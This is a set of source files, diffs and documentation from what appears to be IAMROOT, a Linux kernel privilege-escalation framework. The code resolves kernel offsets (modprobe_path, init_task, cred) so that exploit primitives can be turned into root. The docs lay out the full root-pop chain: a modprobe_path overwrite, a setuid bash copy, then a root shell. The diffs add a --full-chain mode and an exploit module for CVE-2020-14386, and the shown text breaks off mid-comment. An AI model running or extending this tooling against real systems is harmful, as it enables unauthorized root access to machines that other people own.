/* Diagnostic: tell the operator how to populate offsets manually. */
void iamroot_finisher_print_offset_help(const char *module_name);
#endif /* IAMROOT_FINISHER_H */
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bool active_probe; /* --active (do invasive probes in detect) */
bool no_shell; /* --no-shell (exploit prep but don't pop) */
bool authorized; /* user typed --i-know on exploit */
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
};
struct iamroot_module {
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/*
* IAMROOT — kernel offset resolution
*
* See offsets.h for the four-source chain (env → kallsyms → System.map
* → embedded table). This implementation is deliberately small and
* dependency-free.
*/
#include "offsets.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <errno.h>
#include <fnmatch.h>
#include <sys/utsname.h>
/* ------------------------------------------------------------------
* Embedded relative-offset table.
*
* Each entry's modprobe_path / init_task / poweroff_cmd values are
* stored as offsets *relative to _text* (kbase). To resolve absolute
* VAs we add a kbase leak (e.g. from EntryBleed).
*
* Entries here are seeded EMPTY in v0.2.0 except for a small set whose
* offsets are widely documented in public CTF writeups + Ubuntu's
* own debug-symbol packages. Operators on other kernels populate via
* env var or extend this table.
*
* To add a verified entry on a kernel you own:
* sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \
* /boot/System.map-$(uname -r)
* Subtract _text VA from each to get the relative offsets.
* ------------------------------------------------------------------ */
struct table_entry {
const char *release_glob; /* fnmatch glob against uname -r */
const char *distro_match; /* prefix-match against /etc/os-release ID, or NULL=any */
uintptr_t rel_modprobe_path;
uintptr_t rel_poweroff_cmd;
uintptr_t rel_init_task;
uintptr_t rel_init_cred;
uint32_t cred_offset_real;
uint32_t cred_offset_eff;
};
/* Note: relative offsets below are PLACEHOLDERS for the schema. The
* env-var override + kallsyms + System.map paths are the verified
* runtime sources. Operators who validate offsets on a specific
* kernel build are encouraged to upstream entries here. */
static const struct table_entry kernel_table[] = {
/* Schema example. Uncomment + verify before relying on it.
*
* { .release_glob = "5.15.0-25-generic",
* .distro_match = "ubuntu",
* .rel_modprobe_path = 0x148e480,
* .rel_poweroff_cmd = 0x148e3a0,
* .rel_init_task = 0x1c11dc0,
* .rel_init_cred = 0x1e0c460,
* .cred_offset_real = 0x758,
* .cred_offset_eff = 0x760, },
*/
/* Sentinel */
{ NULL, NULL, 0, 0, 0, 0, 0, 0 }
};
/* Defaults that hold across most x86_64 kernels in the target era. */
#define DEFAULT_CRED_REAL_OFFSET 0x738
#define DEFAULT_CRED_EFF_OFFSET 0x740
#define DEFAULT_CRED_UID_OFFSET 0x4
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
{
switch (src) {
case OFFSETS_NONE: return "none";
case OFFSETS_FROM_ENV: return "env";
case OFFSETS_FROM_KALLSYMS: return "kallsyms";
case OFFSETS_FROM_SYSMAP: return "System.map";
case OFFSETS_FROM_TABLE: return "table";
}
return "?";
}
/* Parse hex/decimal — accepts "0x..." or plain decimal. */
static int parse_addr(const char *s, uintptr_t *out)
{
if (!s || !*s) return 0;
errno = 0;
char *end = NULL;
unsigned long long v = strtoull(s, &end, 0);
if (errno != 0 || end == s) return 0;
*out = (uintptr_t)v;
return 1;
}
static void read_distro(char *out, size_t sz)
{
out[0] = '\0';
FILE *f = fopen("/etc/os-release", "r");
if (!f) return;
char line[256];
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "ID=", 3) == 0) {
char *p = line + 3;
if (*p == '"') p++;
size_t i = 0;
while (*p && *p != '"' && *p != '\n' && i + 1 < sz) {
out[i++] = (char)tolower((unsigned char)*p++);
}
out[i] = '\0';
break;
}
}
fclose(f);
}
/* ------------------------------------------------------------------
* Source 1: environment variables
* ------------------------------------------------------------------ */
static void apply_env(struct iamroot_kernel_offsets *o)
{
const char *v;
uintptr_t a;
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
if (!o->kbase) o->kbase = a;
}
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
if (!o->modprobe_path) {
o->modprobe_path = a;
o->source_modprobe = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
if (!o->poweroff_cmd) o->poweroff_cmd = a;
}
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
if (!o->init_task) {
o->init_task = a;
o->source_init_task = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
if (!o->init_cred) o->init_cred = a;
}
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
if (!o->cred_offset_real) {
o->cred_offset_real = (uint32_t)a;
o->source_cred = OFFSETS_FROM_ENV;
}
}
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
}
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
}
}
/* ------------------------------------------------------------------
* Source 2/3: symbol-table file parsing (System.map or kallsyms share
* the same "ADDR TYPE NAME" format).
* ------------------------------------------------------------------ */
static int parse_symfile(const char *path,
struct iamroot_kernel_offsets *o,
enum iamroot_offset_source tag)
{
FILE *f = fopen(path, "r");
if (!f) return 0;
int filled = 0;
char line[512];
int saw_nonzero = 0;
while (fgets(line, sizeof line, f)) {
char *p = line;
while (*p && isspace((unsigned char)*p)) p++;
if (!*p) continue;
char *end = NULL;
unsigned long long addr = strtoull(p, &end, 16);
if (end == p || !end) continue;
if (addr != 0) saw_nonzero = 1;
while (*end && isspace((unsigned char)*end)) end++;
if (!*end) continue;
/* skip type char */
end++;
while (*end && isspace((unsigned char)*end)) end++;
if (!*end) continue;
char *nl = strchr(end, '\n');
if (nl) *nl = '\0';
if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) {
o->modprobe_path = (uintptr_t)addr;
o->source_modprobe = tag;
filled++;
} else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) {
o->poweroff_cmd = (uintptr_t)addr;
filled++;
} else if (strcmp(end, "init_task") == 0 && !o->init_task) {
o->init_task = (uintptr_t)addr;
o->source_init_task = tag;
filled++;
} else if (strcmp(end, "init_cred") == 0 && !o->init_cred) {
o->init_cred = (uintptr_t)addr;
filled++;
} else if (strcmp(end, "_text") == 0 && !o->kbase) {
o->kbase = (uintptr_t)addr;
}
}
fclose(f);
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
* that as "couldn't read", not "actually zero". */
if (!saw_nonzero) {
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
return 0;
}
return filled;
}
/* ------------------------------------------------------------------
* Source 4: embedded table — relative offsets, applied on top of kbase
* if we already have one.
* ------------------------------------------------------------------ */
static void apply_table(struct iamroot_kernel_offsets *o)
{
if (!o->kernel_release[0]) return;
for (const struct table_entry *e = kernel_table; e->release_glob; e++) {
if (e->distro_match && o->distro[0]
&& strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) {
continue;
}
if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue;
/* Match. Apply, but only if we have a kbase (relative offsets
* are useless absent that). */
if (!o->kbase) return;
if (!o->modprobe_path && e->rel_modprobe_path) {
o->modprobe_path = o->kbase + e->rel_modprobe_path;
o->source_modprobe = OFFSETS_FROM_TABLE;
}
if (!o->poweroff_cmd && e->rel_poweroff_cmd) {
o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd;
}
if (!o->init_task && e->rel_init_task) {
o->init_task = o->kbase + e->rel_init_task;
o->source_init_task = OFFSETS_FROM_TABLE;
}
if (!o->init_cred && e->rel_init_cred) {
o->init_cred = o->kbase + e->rel_init_cred;
}
if (!o->cred_offset_real && e->cred_offset_real) {
o->cred_offset_real = e->cred_offset_real;
o->source_cred = OFFSETS_FROM_TABLE;
}
if (!o->cred_offset_eff && e->cred_offset_eff) {
o->cred_offset_eff = e->cred_offset_eff;
}
return;
}
}
/* ------------------------------------------------------------------
* Top-level resolve()
* ------------------------------------------------------------------ */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
{
memset(out, 0, sizeof *out);
struct utsname u;
if (uname(&u) == 0) {
snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release);
}
read_distro(out->distro, sizeof out->distro);
/* Defaults — only used if no source overrides. */
out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET;
/* 1. env */
apply_env(out);
/* 2. /proc/kallsyms — only fills if non-zero addrs present */
parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS);
/* 3. /boot/System.map-<release> */
char path[256];
snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release);
parse_symfile(path, out, OFFSETS_FROM_SYSMAP);
/* 4. embedded table (uses any kbase already discovered) */
apply_table(out);
/* Fill any remaining struct-offset gaps with defaults so that
* arb-write-via-init_task-+offset still has a chance even without
* a full source. Mark as TABLE so caller can see they're defaulted. */
if (!out->cred_offset_real) {
out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET;
if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE;
}
if (!out->cred_offset_eff) {
out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET;
}
int critical = 0;
if (out->modprobe_path) critical++;
if (out->init_task) critical++;
if (out->cred_offset_real && out->cred_uid_offset) critical++;
return critical;
}
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
uintptr_t leaked_kbase)
{
if (!leaked_kbase) return;
/* Set kbase if we didn't have one, then re-apply the embedded table. */
if (!off->kbase) off->kbase = leaked_kbase;
apply_table(off);
}
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
{
return off && off->modprobe_path != 0;
}
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
{
return off && off->init_task != 0 && off->cred_offset_real != 0
&& off->cred_uid_offset != 0;
}
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
{
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
off->kernel_release[0] ? off->kernel_release : "?",
off->distro[0] ? off->distro : "?");
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
(unsigned long)off->kbase,
(unsigned long)off->modprobe_path,
iamroot_offset_source_name(off->source_modprobe));
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
(unsigned long)off->init_task,
iamroot_offset_source_name(off->source_init_task),
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
iamroot_offset_source_name(off->source_cred));
}
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/*
* IAMROOT — kernel offset resolution
*
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
* (heap-OOB write, UAF, etc.). Converting that to root requires
* arbitrary write at a specific kernel virtual address — usually
* `modprobe_path` (writes a payload path → execve unknown binary →
* modprobe runs payload as root) or `current->cred->uid` (set to 0).
*
* Those addresses vary per kernel build. This file resolves them at
* runtime via a four-source chain:
*
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
* 4. Embedded table keyed by `uname -r` glob (entries are
* relative-to-_text, applied on top of an EntryBleed kbase leak
* so KASLR is handled)
*
* Per the verified-vs-claimed bar: offsets are never fabricated. If
* none of the four sources resolve, full-chain refuses with an error
* pointing the operator at the manual workflow.
*/
#ifndef IAMROOT_OFFSETS_H
#define IAMROOT_OFFSETS_H
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
enum iamroot_offset_source {
OFFSETS_NONE = 0,
OFFSETS_FROM_ENV = 1,
OFFSETS_FROM_KALLSYMS = 2,
OFFSETS_FROM_SYSMAP = 3,
OFFSETS_FROM_TABLE = 4,
};
struct iamroot_kernel_offsets {
/* Host fingerprint */
char kernel_release[128]; /* uname -r */
char distro[64]; /* parsed from /etc/os-release ID= */
/* Kernel base — needed when offsets are relative-to-_text.
* Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */
uintptr_t kbase;
/* Symbol virtual addresses (final, post-KASLR-resolution). */
uintptr_t modprobe_path; /* modprobe_path[] string */
uintptr_t poweroff_cmd; /* poweroff_cmd[] string (alt target) */
uintptr_t init_task; /* init_task struct */
uintptr_t init_cred; /* init_cred struct (or 0) */
/* Struct offsets — same across most x86_64 kernels but config-sensitive. */
uint32_t cred_offset_real; /* offset of real_cred in task_struct */
uint32_t cred_offset_eff; /* offset of cred (effective) in task_struct */
uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */
/* Where did each field come from. */
enum iamroot_offset_source source_modprobe;
enum iamroot_offset_source source_init_task;
enum iamroot_offset_source source_cred;
};
/* Best-effort resolution. Returns the number of critical fields
* resolved (modprobe_path / init_task / cred offsets count). Caller
* checks specific fields it needs.
*
* Resolution chain is tried in order; later sources do NOT overwrite
* a field already set by an earlier source. */
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out);
/* Apply a runtime-leaked kbase to any embedded-table entries that
* shipped as relative-to-_text offsets. Idempotent. */
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
uintptr_t leaked_kbase);
/* Returns true if modprobe_path can be written (the simplest root-pop
* finisher). */
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off);
/* Returns true if init_task + cred offsets are known (the cred-uid
* finisher). */
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off);
/* For diagnostic logging — pretty-print what we resolved to stderr. */
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off);
/* Helper: return the name of the source enum. */
const char *iamroot_offset_source_name(enum iamroot_offset_source src);
#endif /* IAMROOT_OFFSETS_H */
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@@ -36,5 +36,9 @@ void iamroot_register_stackrot(void);
void iamroot_register_af_packet2(void);
void iamroot_register_cgroup_release_agent(void);
void iamroot_register_overlayfs_setuid(void);
void iamroot_register_nft_set_uaf(void);
void iamroot_register_af_unix_gc(void);
void iamroot_register_nft_fwd_dup(void);
void iamroot_register_nft_payload(void);
#endif /* IAMROOT_REGISTRY_H */
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@@ -0,0 +1,171 @@
# IAMROOT — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default `--exploit` returns
`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it.
`--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
converts the primitive to a real root pop via `modprobe_path` overwrite:
```
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/iamroot-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
→ caller exec /tmp/iamroot-pwn-<pid> -p
→ root shell
```
This requires resolving `&modprobe_path` (a single kernel virtual
address) at runtime.
## Resolution chain
`core/offsets.c` tries four sources in order, accepting the first
non-zero value for each field:
1. **Environment variables** — operator override.
- `IAMROOT_KBASE=0x...`
- `IAMROOT_MODPROBE_PATH=0x...`
- `IAMROOT_POWEROFF_CMD=0x...`
- `IAMROOT_INIT_TASK=0x...`
- `IAMROOT_INIT_CRED=0x...`
- `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
- `IAMROOT_CRED_OFFSET_EFF=0x...`
- `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
OR you're already root. On modern distros (kptr_restrict=1 by
default) non-root reads return all zeros and this source is
silently skipped.
3. **`/boot/System.map-$(uname -r)`** — world-readable on some distros
(older Debian, some Alma builds). Unaffected by `kptr_restrict`.
4. **Embedded table** — keyed by `uname -r` glob, entries are
offsets *relative to `_text`* (KASLR-safe). Applied on top of a
kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only —
to honor the no-fabricated-offsets rule. Operators who verify
offsets on a specific kernel build are encouraged to upstream
entries.
## How operators populate offsets
### One-shot (preferred for ad-hoc use)
```bash
# Look up on a kernel you control (as root, once):
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline:
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
iamroot --exploit nf_tables --i-know --full-chain
```
### Automated dump (preferred for upstreaming)
`iamroot --dump-offsets` walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout:
```bash
sudo iamroot --dump-offsets
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c.
# */
# { .release_glob = "5.15.0-56-generic",
# .distro_match = "ubuntu",
# .rel_modprobe_path = 0x148e480,
# .rel_poweroff_cmd = 0x148e3a0,
# .rel_init_task = 0x1c11dc0,
# .rel_init_cred = 0x1e0c460,
# .cred_offset_real = 0x738,
# .cred_offset_eff = 0x740,
# },
```
Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
and the new entry covers every IAMROOT user on that kernel. Open a
PR to upstream it.
### Per-host (write System.map readable)
```bash
sudo chmod 0644 /boot/System.map-$(uname -r)
iamroot --exploit nf_tables --i-know --full-chain
```
### Per-boot (lower kptr_restrict)
```bash
sudo sysctl kernel.kptr_restrict=0
iamroot --exploit nf_tables --i-know --full-chain
```
Note: each of these requires root *once*. For a true non-root LPE on
an unfamiliar host you need either an info-leak module (EntryBleed
gives kbase) plus an embedded table entry, or out-of-band offset
acquisition.
## Adding entries to the embedded table
In `core/offsets.c`, `kernel_table[]` carries the schema:
```c
{ .release_glob = "5.15.0-25-generic",
.distro_match = "ubuntu",
.rel_modprobe_path = 0x148e480, // & _text
.rel_poweroff_cmd = 0x148e3a0,
.rel_init_task = 0x1c11dc0,
.rel_init_cred = 0x1e0c460,
.cred_offset_real = 0x758,
.cred_offset_eff = 0x760, },
```
To populate, on the target kernel:
```bash
# Get _text:
_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
# Get the symbols you want, subtract _text:
for sym in modprobe_path poweroff_cmd init_task init_cred; do
addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
done
```
Open a PR with the verified entry and a one-line note on which kernel
build + distro you tested against. Upstreamed entries make the
`--full-chain` path work out-of-the-box for that build.
## Verifying success
The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
payload. The finisher polls for this file with `S_ISUID` mode set
for up to 3 seconds. Only when the sentinel materializes does the
module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
the setuid bash to drop a root shell.
If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer
field at unexpected offset, race not won)
- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
embedded-table entry stale)
- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
invocation
## Why `modprobe_path` and not `current->cred->uid = 0`?
The cred-overwrite finisher needs an arb-READ primitive too — to walk
the task linked list from `init_task` and find the calling process's
`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
not a paired read. `modprobe_path` only needs a write to a single
known global, which is why it's the default finisher.
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@@ -17,6 +17,9 @@
#include "core/module.h"
#include "core/registry.h"
#include "core/offsets.h"
#include <time.h>
#include <getopt.h>
#include <stdbool.h>
@@ -25,7 +28,7 @@
#include <string.h>
#include <unistd.h>
#define IAMROOT_VERSION "0.1.0"
#define IAMROOT_VERSION "0.3.1"
static const char BANNER[] =
"\n"
@@ -57,6 +60,11 @@ static void usage(const char *prog)
" files in /etc, file capabilities, sudo NOPASSWD\n"
" (complements --scan; answers 'is this box\n"
" generally privesc-exposed?')\n"
" --dump-offsets walk /proc/kallsyms + /boot/System.map and emit a\n"
" C struct-entry ready to paste into core/offsets.c's\n"
" kernel_table[] for the --full-chain finisher.\n"
" Needs root (or kernel.kptr_restrict=0) to read\n"
" kallsyms. See docs/OFFSETS.md.\n"
" --version print version\n"
" --help this message\n"
"\n"
@@ -64,6 +72,12 @@ static void usage(const char *prog)
" --i-know authorization gate for --exploit modes\n"
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
" (the 🟡 modules return primitive-only by default; with\n"
" --full-chain they continue to leak → arb-write →\n"
" modprobe_path overwrite. Requires resolvable kernel\n"
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
" See docs/OFFSETS.md.)\n"
" --json machine-readable output (for SIEM/CI)\n"
" --no-color disable ANSI color codes\n"
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
@@ -83,6 +97,7 @@ enum mode {
MODE_DETECT_RULES,
MODE_MODULE_INFO,
MODE_AUDIT,
MODE_DUMP_OFFSETS,
MODE_HELP,
MODE_VERSION,
};
@@ -422,6 +437,103 @@ static int cmd_audit(const struct iamroot_ctx *ctx)
return 0;
}
/* --dump-offsets: walk /proc/kallsyms + /boot/System.map for the running
* kernel and emit a ready-to-paste C struct entry for kernel_table[] in
* core/offsets.c. Operators run this once on a kernel they have root on
* (or kptr_restrict=0), then upstream the entry so --full-chain works
* out-of-the-box on that build for everyone. */
static int cmd_dump_offsets(const struct iamroot_ctx *ctx)
{
(void)ctx;
struct iamroot_kernel_offsets off;
int n = iamroot_offsets_resolve(&off);
if (off.kbase == 0) {
fprintf(stderr,
"[-] dump-offsets: couldn't resolve a kernel base address.\n"
"\n"
" /proc/kallsyms returned all-zero addresses (kptr_restrict is\n"
" enforcing). /boot/System.map-%s wasn't readable either.\n"
"\n"
" Try one of:\n"
" sudo iamroot --dump-offsets\n"
" sudo sysctl kernel.kptr_restrict=0; iamroot --dump-offsets\n"
" sudo chmod 0644 /boot/System.map-$(uname -r); iamroot --dump-offsets\n",
off.kernel_release[0] ? off.kernel_release : "$(uname -r)");
return 1;
}
if (n == 0) {
fprintf(stderr,
"[-] dump-offsets: kbase resolved but no symbols. Sources tried: env,\n"
" /proc/kallsyms, /boot/System.map. Check that the kernel symbols\n"
" you need (modprobe_path / init_task / poweroff_cmd) actually exist\n"
" in the symbol files.\n");
return 1;
}
time_t now = time(NULL);
struct tm tm; localtime_r(&now, &tm);
fprintf(stdout,
"/* Generated %04d-%02d-%02d by `iamroot --dump-offsets`.\n"
" * Host kernel: %s%s%s\n"
" * Resolved fields: modprobe_path=%s init_task=%s cred=%s\n"
" * Paste this entry into kernel_table[] in core/offsets.c.\n"
" */\n",
tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
off.kernel_release,
off.distro[0] ? " distro=" : "",
off.distro[0] ? off.distro : "",
iamroot_offset_source_name(off.source_modprobe),
iamroot_offset_source_name(off.source_init_task),
iamroot_offset_source_name(off.source_cred));
fprintf(stdout,
"{ .release_glob = \"%s\",\n", off.kernel_release);
if (off.distro[0]) {
fprintf(stdout,
" .distro_match = \"%s\",\n", off.distro);
} else {
fprintf(stdout,
" .distro_match = NULL,\n");
}
if (off.modprobe_path) {
fprintf(stdout,
" .rel_modprobe_path = 0x%lx,\n",
(unsigned long)(off.modprobe_path - off.kbase));
}
if (off.poweroff_cmd) {
fprintf(stdout,
" .rel_poweroff_cmd = 0x%lx,\n",
(unsigned long)(off.poweroff_cmd - off.kbase));
}
if (off.init_task) {
fprintf(stdout,
" .rel_init_task = 0x%lx,\n",
(unsigned long)(off.init_task - off.kbase));
}
if (off.init_cred) {
fprintf(stdout,
" .rel_init_cred = 0x%lx,\n",
(unsigned long)(off.init_cred - off.kbase));
}
if (off.cred_offset_real) {
fprintf(stdout,
" .cred_offset_real = 0x%x,\n", off.cred_offset_real);
}
if (off.cred_offset_eff) {
fprintf(stdout,
" .cred_offset_eff = 0x%x,\n", off.cred_offset_eff);
}
fprintf(stdout,
"},\n");
fprintf(stderr,
"\n[+] dumped %d resolved fields. Verify offsets, then upstream this\n"
" entry via a PR to https://github.com/KaraZajac/IAMROOT.\n", n);
return 0;
}
/* --module-info <name>: dump everything we know about one module.
* Human-readable by default, JSON with --json. Includes the full
* detection-rule text bodies for that module. */
@@ -584,6 +696,10 @@ int main(int argc, char **argv)
iamroot_register_af_packet2();
iamroot_register_cgroup_release_agent();
iamroot_register_overlayfs_setuid();
iamroot_register_nft_set_uaf();
iamroot_register_af_unix_gc();
iamroot_register_nft_fwd_dup();
iamroot_register_nft_payload();
enum mode mode = MODE_SCAN;
struct iamroot_ctx ctx = {0};
@@ -600,12 +716,14 @@ int main(int argc, char **argv)
{"detect-rules", no_argument, 0, 'D'},
{"module-info", required_argument, 0, 'I'},
{"audit", no_argument, 0, 'A'},
{"dump-offsets", no_argument, 0, 8 },
{"format", required_argument, 0, 6 },
{"i-know", no_argument, 0, 1 },
{"active", no_argument, 0, 2 },
{"no-shell", no_argument, 0, 3 },
{"json", no_argument, 0, 4 },
{"no-color", no_argument, 0, 5 },
{"full-chain", no_argument, 0, 7 },
{"version", no_argument, 0, 'V'},
{"help", no_argument, 0, 'h'},
{0, 0, 0, 0}
@@ -627,6 +745,8 @@ int main(int argc, char **argv)
case 3 : ctx.no_shell = true; break;
case 4 : ctx.json = true; break;
case 5 : ctx.no_color = true; break;
case 7 : ctx.full_chain = true; break;
case 8 : mode = MODE_DUMP_OFFSETS; break;
case 6 :
if (strcmp(optarg, "auditd") == 0) dr_fmt = FMT_AUDITD;
else if (strcmp(optarg, "sigma") == 0) dr_fmt = FMT_SIGMA;
@@ -653,6 +773,7 @@ int main(int argc, char **argv)
if (mode == MODE_MODULE_INFO) return cmd_module_info(target, &ctx);
if (mode == MODE_DETECT_RULES) return cmd_detect_rules(dr_fmt);
if (mode == MODE_AUDIT) return cmd_audit(&ctx);
if (mode == MODE_DUMP_OFFSETS) return cmd_dump_offsets(&ctx);
/* --exploit / --mitigate / --cleanup all take a target */
if (target == NULL) {
@@ -0,0 +1,28 @@
# NOTICE — af_packet2 (CVE-2020-14386)
## Vulnerability
**CVE-2020-14386** — AF_PACKET `tpacket_rcv` VLAN integer underflow
(`maclen = skb_network_offset(skb)` when network header precedes
maclen) → 8-byte heap OOB write at the start of the next slab object.
## Research credit
Discovered and disclosed by **Or Cohen** (Palo Alto Networks),
September 2020.
Original advisory: <https://unit42.paloaltonetworks.com/cve-2020-14386/>
Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020).
Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235.
## IAMROOT role
Sibling of CVE-2017-7308; same subsystem, different code path.
Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray.
PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain`
attempts the Or-Cohen-style sk_buff data-pointer hijack through
the shared finisher.
Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308
module so detection signatures dedupe cleanly.
@@ -6,14 +6,27 @@
* subsystem, different code path (rx side rather than ring setup),
* later introduction. Discovered by Or Cohen (2020).
*
* STATUS: 🟡 PRIMITIVE-DEMO. The exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv) and fires the underflow with a
* crafted nested-VLAN frame on a TPACKET_V2 ring, with a best-effort
* skb spray groom alongside. We stop short of the full cred-overwrite
* chain (which Or Cohen's public PoC implements with kernel-version-
* specific offsets and a pid_namespace cross-cache overwrite). We do
* not bake offsets into iamroot. The return value is honest about
* what landed (EXPLOIT_FAIL: primitive fired but no root).
* STATUS (2026-05-16): 🟡 PRIMITIVE-DEMO + opt-in --full-chain finisher.
* - Default (no --full-chain): the exploit() entry point reaches the
* vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow
* with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg
* skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only
* behavior — kernel-version-agnostic, no offsets baked in).
* - With --full-chain: after the underflow lands, we resolve kernel
* offsets (env → kallsyms → System.map → embedded table) and run
* an Or-Cohen-style sk_buff-data-pointer hijack through the shared
* iamroot_finisher_modprobe_path() helper. The arb-write itself is
* LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives
* us a single 8-byte heap-OOB write into the head of the
* adjacent-page slab object; we spray sk_buffs so that next-page
* slot IS an sk_buff and the write corrupts skb->data, which then
* redirects skb_copy_bits()'s destination on the next received
* packet. The full primitive composition (8-byte write → skb->data
* forge → controlled-payload rx → arb-write at modprobe_path) is
* race-y on stock kernels because the adjacent-slot landing is
* probabilistic. On hosts where the spray doesn't groom cleanly,
* the finisher's sentinel check correctly reports failure rather
* than silently lying about success.
*
* Affected: kernel 4.6+ until backports:
* 5.8.x : K >= 5.8.7
@@ -33,6 +46,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -434,6 +449,120 @@ static int af_packet2_primitive_child(const struct iamroot_ctx *ctx)
}
#endif
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
*
